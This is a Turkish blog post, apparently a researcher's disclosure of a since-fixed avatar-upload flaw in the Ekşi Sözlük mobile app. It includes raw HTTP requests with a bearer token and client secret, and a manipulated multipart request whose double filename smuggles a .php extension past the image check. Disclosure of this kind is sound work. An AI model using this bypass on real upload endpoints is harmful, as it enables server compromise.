TR | Ekşi Sözlük App Vulnerability
Ekşi okuru ve sıkı yazarı olarak mobil uygulamasının çıktığını ve profil fotoğrafı yükleme özelliğinin geldiğini bu şekilde öğrendim. Sakarya’da kampta olmam sebebiyle gününde bakamadım ama az çok bu zafiyetin var olabileceğini tahmin etmiştim ve doğru da çıktı.
Öncelikle uygulamayı incelerken parola bilgilerinin şifrelenmeden gitmesi dikkatimi çekti.
POST /token HTTP/1.1 Accept: application/json Content-Type: application/x-www-form-urlencoded Content-Length: 128 Host: api.eksisozluk.com Connection: close User-Agent: okhttp/2.3.0 grant_type=password&username=berk.imran7%40gmail.com&password=blablabla&client_secret=6x8a95c-6xa28-x59ea-9d56-569532x
Profil fotoğrafı yükleme alanından önce normal bir fotoğraf yükledim.
HTTP/1.1 200 OK Date: Mon, 10 Jul 2017 18:33:59 GMT Content-Type: application/json; charset=utf-8 Content-Length: 57 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains {"Success":true,"Message":"image uploaded successfully."}
Başarılı şekilde yüklendi. Şimdi php yzantılı atmayı deneyelim. Dönen istek bu şekilde.
HTTP/1.1 200 OK Date: Mon, 10 Jul 2017 18:37:51 GMT Content-Type: application/json; charset=utf-8 Content-Length: 62 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains {"Success":false,"Message":"please upload image of type .jpg"}
Giden isteği tekrar manipüle ediyorum.
POST /v1/user/forme/upload/avatar HTTP/1.1 Accept: application/json Authorization: bearer ixJwjW_kYNfwZhDF1LoHcpfK2wEmqPHUNEdLd7YEIGc59drWUUUeK6L4MBZipwme928Q8FsNsgDn9flYfzxAS63vTEhqkM8mbigPjMjPC4IYdJPzuw0UIGUqT_FYFsFmeNvOaT5ToOTdrTuiHZsU-JreWYzNlWvfg7XkBK-G2vhIdb6Gc4_odnsg_kqcjJGSObiIM_g2iqkQuQqrMcGiEOI6mfyWrtvlngWwpZ4eiZe1-mztKHCnrREs_nHePmKd Content-Type: multipart/form-data; boundary="----MyGreatBoundary" Content-Length: 25130 Host: api.eksisozluk.com Connection: close User-Agent: okhttp/2.3.0 ------MyGreatBoundary Content-Disposition: form-data; name=avatar; filename=avatar.jpg;php; filename*=utf-8''avatar.jpg.php
Ve yükleme başarılı.
Gelelim fotoğrafın nereye yüklendiğini bulmaya. Uygulama üzerinden fotoğrafın adresini öğrenemediğim için tarayıcı üzerinden devam ediyorum.
Doğrulama yapmadığım için haliyle oturum açmadı. Yine proxy aracılığı ile gereken bilgileri veriyorum.
Zafiyet fixlendikten sonra bu yazıyı yazdığım için jpg olarak yükledi.
Burada fotoğrafların direk eksisozluk.com domaininde olmasını ve rootlamaya kadar gitmesini isterdim ama haliyle başka sunucuda çıktı 🙂
Tüm sözlüğe selam olsun 🙂